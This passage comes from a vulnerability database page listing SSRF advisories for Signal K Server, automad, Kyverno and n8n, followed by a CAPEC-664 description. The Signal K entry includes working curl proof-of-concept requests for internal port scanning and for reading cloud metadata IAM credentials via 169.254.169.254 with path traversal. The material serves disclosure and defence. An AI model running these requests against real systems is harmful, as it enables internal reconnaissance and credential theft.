response.statusCode, data })\n      })\n    })\n    req.on(\u0027error\u0027, reject)\n    req.setTimeout(10000, () =\u003e {\n      req.destroy(new Error(\u0027Connection timed out\u0027))\n    })\n    if (body) {\n      req.write(JSON.stringify(body))\n    }\n    req.end()\n  })\n}\n```\n\n#### Missing Validation\n\nThe function performs **zero validation** on the destination host. The following address ranges are all reachable:\n\n- **Loopback**: `127.0.0.1`, `::1`, `localhost`\n- **RFC 1918 private ranges**: `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`\n- **Link-local / Cloud metadata**: `169.254.169.254` (AWS EC2 instance metadata, GCP, Azure IMDS)\n- **IPv6 link-local**: `fe80::/10`\n- **Any arbitrary external host**: enabling the server as an open proxy\n\n#### Authentication Bypass via Default Configuration\n\nThe endpoints are protected by `addAdminMiddleware()` (lines 2339-2345):\n\n```typescript\napp.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/testSignalKConnection`)\napp.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/requestAccess`)\napp.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/checkAccessRequest`)\n```\n\nHowever, when security is not configured, the server uses `dummysecurity.ts`, where `addAdminMiddleware` is a **no-op**:\n\n```typescript\naddAdminMiddleware: () =\u003e {},\n```\n\nThis means on a default installation with no admin user created, **all three endpoints are accessible without any authentication**.\n\n#### Additional Attack Surface: TLS Verification Bypass\n\nThe `selfsignedcert` parameter directly controls `rejectUnauthorized`:\n\n```typescript\nrejectUnauthorized: !selfsignedcert\n```\n\nWhen an attacker sets `selfsignedcert: true`, the server will connect to any HTTPS endpoint without verifying the TLS certificate, enabling MITM attacks on the outbound connection.\n\n#### Additional Attack Surface: Path Traversal in checkAccessRequest\n\nThe `checkAccessRequest` endpoint interpolates `requestId` directly into the URL path:\n\n```typescript\n`/signalk/v1/requests/${requestId}`\n```\n\nAn attacker can use path traversal (e.g., `requestId: \"../../other/endpoint\"`) to target arbitrary paths on the destination host.\n\n### PoC\n#### Target Setup\n\nSet up a bare-metal signalk-server for testing (or use Docker to simulate):\n\n```bash\ndocker run -d --name signalk-ssrf-poc -p 3000:3000 node:22-bookworm \\\n  bash -c \u0027npm install -g signalk-server@2.27.0 \u0026\u0026 signalk-server\u0027\n\n# Wait for startup\nuntil curl -s http://127.0.0.1:3000/skServer/loginStatus 2\u003e/dev/null | grep -q \"status\"; do sleep 10; done\n```\n\nSet the target variable:\n\n```bash\nTARGET=http://127.0.0.1:3000\n```\n\nConfirm `\"authenticationRequired\":false` in the loginStatus response before proceeding.\n\n#### PoC 1: Loopback Connection (Self-Discovery)\n\n```bash\ncurl -s -X POST $TARGET/skServer/testSignalKConnection \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"host\":\"127.0.0.1\",\"port\":3000,\"useTLS\":false,\"selfsignedcert\":false}\u0027\n```\n\n**Response** (confirms SSRF, the server connected to itself):\n\n```json\n{\n  \"success\": true,\n  \"authenticated\": false,\n  \"server\": {\n    \"id\": \"signalk-server-node\",\n    \"version\": \"2.27.0\"\n  }\n}\n```\n\n#### PoC 2: Port Scanning via Error Differentiation\n\n```bash\n# Open port (3000) \u2014 returns server data\ncurl -s -X POST $TARGET/skServer/testSignalKConnection \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"host\":\"127.0.0.1\",\"port\":3000,\"useTLS\":false,\"selfsignedcert\":false}\u0027\n# Response: {\"success\":true,\"server\":{\"id\":\"signalk-server-node\",\"version\":\"2.27.0\"}}\n\n# Closed port (9999) \u2014 immediate ECONNREFUSED\ncurl -s -X POST $TARGET/skServer/testSignalKConnection \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"host\":\"127.0.0.1\",\"port\":9999,\"useTLS\":false,\"selfsignedcert\":false}\u0027\n# Response: {\"success\":false,\"error\":\"connect ECONNREFUSED 127.0.0.1:9999\"}\n\n# Filtered port \u2014 10-second timeout then error\ncurl -s -X POST $TARGET/skServer/testSignalKConnection \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"host\":\"10.0.0.1\",\"port\":22,\"useTLS\":false,\"selfsignedcert\":false}\u0027\n# Response (after 10s): {\"success\":false,\"error\":\"Connection timed out\"}\n```\n\nThe three distinct error responses allow an attacker to map internal network topology.\n\n#### PoC 3: AWS Instance Metadata Service (IMDSv1)\n\nOn a cloud-hosted signalk-server (AWS EC2):\n\n```bash\ncurl -s -X POST $TARGET/skServer/testSignalKConnection \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"host\":\"169.254.169.254\",\"port\":80,\"useTLS\":false,\"selfsignedcert\":false}\u0027\n```\n\nThe server connects to the EC2 metadata endpoint. The response will contain the discovery JSON parse result, leaking metadata. For deeper paths, use `checkAccessRequest` with path traversal in `requestId`:\n\n```bash\ncurl -s -X POST $TARGET/skServer/checkAccessRequest \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"host\":\"169.254.169.254\",\"port\":80,\"useTLS\":false,\"selfsignedcert\":false,\"requestId\":\"../../latest/meta-data/iam/security-credentials/ROLE_NAME\"}\u0027\n```\n\n### Impact\n1. **Internal Network Scanning**: An attacker can probe internal hosts and ports. The response distinguishes between open ports (HTTP response returned), closed ports (connection refused error), and filtered ports (timeout after 10 seconds).\n\n2. **Cloud Metadata Exfiltration**: On cloud-hosted instances (AWS EC2, GCP, Azure), an attacker can reach the instance metadata service at `169.254.169.254` to steal IAM credentials, instance identity tokens, and other sensitive metadata.\n\n3. **Internal Service Data Exfiltration**: The `testSignalKConnection` endpoint returns the full response body from the target, allowing reading of data from internal HTTP services not otherwise accessible from the internet.\n\n4. **Server-Side POST Requests**: The `requestAccess` endpoint sends a POST request with attacker-controlled JSON body (`clientId`, `description`), enabling interaction with internal APIs that accept POST requests.\n\n5. **Lateral Movement**: In containerized or Kubernetes environments, the server can be used to access cluster-internal services, the Kubernetes API, or other containers on the Docker network.",
  "id": "GHSA-q59x-jc9f-gfqf",
  "modified": "2026-06-18T21:13:36Z",
  "published": "2026-06-18T21:13:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-q59x-jc9f-gfqf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SignalK/signalk-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Signal K Server: Server-Side Request Forgery via Remote Connection Endpoints"
}

GHSA-Q5Q3-QM26-9JWM

Vulnerability from github – Published: 2023-12-21 18:30 – Updated: 2024-08-19 20:54
VLAI
Summary
Authenticated Blind SSRF in automad/automad
Details

automad up to 1.10.9 is vulnerable to an authenticated blind server-side request forgery in importUrl as the import function on the FileController.php file was not properly validating the value of the importUrl argument. This issue may allow attackers to perform a port scan against the local environment or abuse some service.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "automad/automad"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.10.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-7037"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-29T19:32:20Z",
    "nvd_published_at": "2023-12-21T17:15:09Z",
    "severity": "LOW"
  },
  "details": "automad up to 1.10.9 is vulnerable to an authenticated blind server-side request forgery in `importUrl` as the `import` function on the `FileController.php` file was not properly validating the value of the `importUrl` argument. This issue may allow attackers to perform a port scan against the local environment or abuse some service.",
  "id": "GHSA-q5q3-qm26-9jwm",
  "modified": "2024-08-19T20:54:51Z",
  "published": "2023-12-21T18:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-7037"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/marcantondahmen/automad"
    },
    {
      "type": "WEB",
      "url": "https://github.com/screetsec/VDD/tree/main/Automad%20CMS/Authenticated%20Blind%20SSRF"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.248686"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.248686"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authenticated Blind SSRF in automad/automad"
}

GHSA-Q5V3-PP68-6CRJ

Vulnerability from github – Published: 2026-09-01 12:31 – Updated: 2026-09-01 12:31
VLAI
Details

Kyverno before 1.16.2 contains a server-side request forgery (SSRF) vulnerability in the APICall feature. The URL field in a Policy's ServiceCall configuration is not validated, so a user with namespace-level Policy creation permissions can direct Kyverno to make HTTP requests to arbitrary internal resources (e.g., cloud metadata endpoints such as 169.254.169.254 or other tenants' resources). Because Kyverno executes these requests using its cluster-wide high-privilege ServiceAccount (a Confused Deputy problem), the responses—potentially including other tenants' secrets and cloud IAM credentials—are returned in the PolicyReport and can be read by the attacker, breaking multi-tenant isolation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-84199"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-01T12:17:49Z",
    "severity": "MODERATE"
  },
  "details": "Kyverno before 1.16.2 contains a server-side request forgery (SSRF) vulnerability in the APICall feature. The URL field in a Policy\u0027s ServiceCall configuration is not validated, so a user with namespace-level Policy creation permissions can direct Kyverno to make HTTP requests to arbitrary internal resources (e.g., cloud metadata endpoints such as 169.254.169.254 or other tenants\u0027 resources). Because Kyverno executes these requests using its cluster-wide high-privilege ServiceAccount (a Confused Deputy problem), the responses\u2014potentially including other tenants\u0027 secrets and cloud IAM credentials\u2014are returned in the PolicyReport and can be read by the attacker, breaking multi-tenant isolation.",
  "id": "GHSA-q5v3-pp68-6crj",
  "modified": "2026-09-01T12:31:51Z",
  "published": "2026-09-01T12:31:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-fmqp-4wfc-w3v7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84199"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/kyverno-before-1.16.2-ssrf-via-apicall-feature"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-Q5WM-MGQX-FV2F

Vulnerability from github – Published: 2026-09-10 21:18 – Updated: 2026-09-10 21:18
VLAI
Summary
n8n: Instance AI Credential Setup Accepts Unvalidated Probe URL from Fetched Content
Details

Impact

Instance AI credential setup accepted a credential test/verification URL without checking it matched the workflow node's origin. Exfiltration required the user to actively inject an attacker-controlled URL into the setup flow. The patch derives the credential destination from the node's own URL and confines authenticated requests, redirects and probes to that origin.

Patches

The issue has been fixed in n8n versions 2.38.2 and 2.37.7. Users should upgrade to one of these versions or later to remediate the vulnerability.

Workarounds

If upgrading is not immediately possible, administrators should consider the following temporary mitigations: - Disable the Instance AI module by removing instance-ai from the N8N_ENABLED_MODULES environment variable if it is not required. - Restrict n8n instance access to fully trusted users only. - Rotate any third-party API credentials that were set up using the Instance AI credential-setup flow on affected versions.

These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.38.0"
            },
            {
              "fixed": "2.38.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.37.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-86074"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-10T21:18:48Z",
    "nvd_published_at": "2026-09-08T18:21:14Z",
    "severity": "MODERATE"
  },
  "details": "## Impact\n\nInstance AI credential setup accepted a credential test/verification URL without checking it matched the workflow node\u0027s origin. Exfiltration required the user to actively inject an attacker-controlled URL into the setup flow. The patch derives the credential destination from the node\u0027s own URL and confines authenticated requests, redirects and probes to that origin.\n\n## Patches\n\nThe issue has been fixed in n8n versions 2.38.2 and 2.37.7. Users should upgrade to one of these versions or later to remediate the vulnerability.\n\n## Workarounds\n\nIf upgrading is not immediately possible, administrators should consider the following temporary mitigations:\n- Disable the Instance AI module by removing `instance-ai` from the `N8N_ENABLED_MODULES` environment variable if it is not required.\n- Restrict n8n instance access to fully trusted users only.\n- Rotate any third-party API credentials that were set up using the Instance AI credential-setup flow on affected versions.\n\nThese workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.",
  "id": "GHSA-q5wm-mgqx-fv2f",
  "modified": "2026-09-10T21:18:48Z",
  "published": "2026-09-10T21:18:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-q5wm-mgqx-fv2f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86074"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/n8n-io/n8n"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/releases/tag/n8n@2.37.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/releases/tag/n8n@2.38.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "n8n: Instance AI Credential Setup Accepts Unvalidated Probe URL from Fetched Content"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.